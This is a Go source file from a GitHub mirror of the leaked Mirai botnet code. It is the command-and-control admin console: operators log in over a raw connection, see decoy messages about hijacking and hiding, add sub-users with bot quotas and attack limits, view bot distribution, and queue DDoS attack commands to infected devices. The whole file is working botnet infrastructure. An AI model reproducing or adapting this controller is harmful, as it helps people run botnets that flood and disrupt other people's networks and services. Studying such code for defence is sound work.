mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2025-05-14 21:34:12 +00:00
270 lines
9.6 KiB
Go
Executable File
270 lines
9.6 KiB
Go
Executable File
package main
|
||
|
||
import (
|
||
"fmt"
|
||
"net"
|
||
"time"
|
||
"strings"
|
||
"io/ioutil"
|
||
"strconv"
|
||
)
|
||
|
||
type Admin struct {
|
||
conn net.Conn
|
||
}
|
||
|
||
func NewAdmin(conn net.Conn) *Admin {
|
||
return &Admin{conn}
|
||
}
|
||
|
||
func (this *Admin) Handle() {
|
||
this.conn.Write([]byte("\033[?1049h"))
|
||
this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
|
||
|
||
defer func() {
|
||
this.conn.Write([]byte("\033[?1049l"))
|
||
}()
|
||
|
||
headerb, err := ioutil.ReadFile("prompt.txt")
|
||
if err != nil {
|
||
return
|
||
}
|
||
|
||
header := string(headerb)
|
||
this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1)))
|
||
|
||
// Get username
|
||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||
this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m"))
|
||
username, err := this.ReadLine(false)
|
||
if err != nil {
|
||
return
|
||
}
|
||
|
||
// Get password
|
||
this.conn.SetDeadline(time.Now().Add(60 * time.Second))
|
||
this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
|
||
password, err := this.ReadLine(true)
|
||
if err != nil {
|
||
return
|
||
}
|
||
|
||
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
|
||
this.conn.Write([]byte("\r\n"))
|
||
spinBuf := []byte{'-', '\\', '|', '/'}
|
||
for i := 0; i < 15; i++ {
|
||
this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
|
||
time.Sleep(time.Duration(300) * time.Millisecond)
|
||
}
|
||
|
||
var loggedIn bool
|
||
var userInfo AccountInfo
|
||
if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
|
||
this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n"))
|
||
this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m"))
|
||
buf := make([]byte, 1)
|
||
this.conn.Read(buf)
|
||
return
|
||
}
|
||
|
||
this.conn.Write([]byte("\r\n\033[0m"))
|
||
this.conn.Write([]byte("[+] DDOS | Succesfully hijacked connection\r\n"))
|
||
time.Sleep(250 * time.Millisecond)
|
||
this.conn.Write([]byte("[+] DDOS | Masking connection from utmp+wtmp...\r\n"))
|
||
time.Sleep(500 * time.Millisecond)
|
||
this.conn.Write([]byte("[+] DDOS | Hiding from netstat...\r\n"))
|
||
time.Sleep(150 * time.Millisecond)
|
||
this.conn.Write([]byte("[+] DDOS | Removing all traces of LD_PRELOAD...\r\n"))
|
||
for i := 0; i < 4; i++ {
|
||
time.Sleep(100 * time.Millisecond)
|
||
this.conn.Write([]byte(fmt.Sprintf("[+] DDOS | Wiping env libc.poison.so.%d\r\n", i + 1)))
|
||
}
|
||
this.conn.Write([]byte("[+] DDOS | Setting up virtual terminal...\r\n"))
|
||
time.Sleep(1 * time.Second)
|
||
|
||
go func() {
|
||
i := 0
|
||
for {
|
||
var BotCount int
|
||
if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
|
||
BotCount = userInfo.maxBots
|
||
} else {
|
||
BotCount = clientList.Count()
|
||
}
|
||
|
||
time.Sleep(time.Second)
|
||
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
|
||
this.conn.Close()
|
||
break
|
||
}
|
||
i++
|
||
if i % 60 == 0 {
|
||
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
|
||
}
|
||
}
|
||
}()
|
||
|
||
this.conn.Write([]byte("\033[37;1m[!] Sharing access IS prohibited!\r\n[!] Do NOT share your credentials!\r\n\033[36;1mReady\r\n"))
|
||
for {
|
||
var botCatagory string
|
||
var botCount int
|
||
this.conn.Write([]byte("\033[32;1m" + username + "@botnet# \033[0m"))
|
||
cmd, err := this.ReadLine(false)
|
||
if err != nil || cmd == "exit" || cmd == "quit" {
|
||
return
|
||
}
|
||
if cmd == "" {
|
||
continue
|
||
}
|
||
botCount = userInfo.maxBots
|
||
|
||
if userInfo.admin == 1 && cmd == "adduser" {
|
||
this.conn.Write([]byte("Enter new username: "))
|
||
new_un, err := this.ReadLine(false)
|
||
if err != nil {
|
||
return
|
||
}
|
||
this.conn.Write([]byte("Enter new password: "))
|
||
new_pw, err := this.ReadLine(false)
|
||
if err != nil {
|
||
return
|
||
}
|
||
this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
|
||
max_bots_str, err := this.ReadLine(false)
|
||
if err != nil {
|
||
return
|
||
}
|
||
max_bots, err := strconv.Atoi(max_bots_str)
|
||
if err != nil {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
|
||
continue
|
||
}
|
||
this.conn.Write([]byte("Max attack duration (-1 for none): "))
|
||
duration_str, err := this.ReadLine(false)
|
||
if err != nil {
|
||
return
|
||
}
|
||
duration, err := strconv.Atoi(duration_str)
|
||
if err != nil {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
|
||
continue
|
||
}
|
||
this.conn.Write([]byte("Cooldown time (0 for none): "))
|
||
cooldown_str, err := this.ReadLine(false)
|
||
if err != nil {
|
||
return
|
||
}
|
||
cooldown, err := strconv.Atoi(cooldown_str)
|
||
if err != nil {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
|
||
continue
|
||
}
|
||
this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
|
||
confirm, err := this.ReadLine(false)
|
||
if err != nil {
|
||
return
|
||
}
|
||
if confirm != "y" {
|
||
continue
|
||
}
|
||
if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
|
||
} else {
|
||
this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
|
||
}
|
||
continue
|
||
}
|
||
if userInfo.admin == 1 && cmd == "botcount" {
|
||
m := clientList.Distribution()
|
||
for k, v := range m {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[36;1m%s:\t%d\033[0m\r\n", k, v)))
|
||
}
|
||
continue
|
||
}
|
||
if cmd[0] == '-' {
|
||
countSplit := strings.SplitN(cmd, " ", 2)
|
||
count := countSplit[0][1:]
|
||
botCount, err = strconv.Atoi(count)
|
||
if err != nil {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
|
||
continue
|
||
}
|
||
if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
|
||
continue
|
||
}
|
||
cmd = countSplit[1]
|
||
}
|
||
if userInfo.admin == 1 && cmd[0] == '@' {
|
||
cataSplit := strings.SplitN(cmd, " ", 2)
|
||
botCatagory = cataSplit[0][1:]
|
||
cmd = cataSplit[1]
|
||
}
|
||
|
||
atk, err := NewAttack(cmd, userInfo.admin)
|
||
if err != nil {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||
} else {
|
||
buf, err := atk.Build()
|
||
if err != nil {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||
} else {
|
||
if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
|
||
this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
|
||
} else if !database.ContainsWhitelistedTargets(atk) {
|
||
clientList.QueueBuf(buf, botCount, botCatagory)
|
||
} else {
|
||
fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
func (this *Admin) ReadLine(masked bool) (string, error) {
|
||
buf := make([]byte, 1024)
|
||
bufPos := 0
|
||
|
||
for {
|
||
n, err := this.conn.Read(buf[bufPos:bufPos+1])
|
||
if err != nil || n != 1 {
|
||
return "", err
|
||
}
|
||
if buf[bufPos] == '\xFF' {
|
||
n, err := this.conn.Read(buf[bufPos:bufPos+2])
|
||
if err != nil || n != 2 {
|
||
return "", err
|
||
}
|
||
bufPos--
|
||
} else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
|
||
if bufPos > 0 {
|
||
this.conn.Write([]byte(string(buf[bufPos])))
|
||
bufPos--
|
||
}
|
||
bufPos--
|
||
} else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
|
||
bufPos--
|
||
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
|
||
this.conn.Write([]byte("\r\n"))
|
||
return string(buf[:bufPos]), nil
|
||
} else if buf[bufPos] == 0x03 {
|
||
this.conn.Write([]byte("^C\r\n"))
|
||
return "", nil
|
||
} else {
|
||
if buf[bufPos] == '\x1B' {
|
||
buf[bufPos] = '^';
|
||
this.conn.Write([]byte(string(buf[bufPos])))
|
||
bufPos++;
|
||
buf[bufPos] = '[';
|
||
this.conn.Write([]byte(string(buf[bufPos])))
|
||
} else if masked {
|
||
this.conn.Write([]byte("*"))
|
||
} else {
|
||
this.conn.Write([]byte(string(buf[bufPos])))
|
||
}
|
||
}
|
||
bufPos++
|
||
}
|
||
return string(buf), nil
|
||
}
|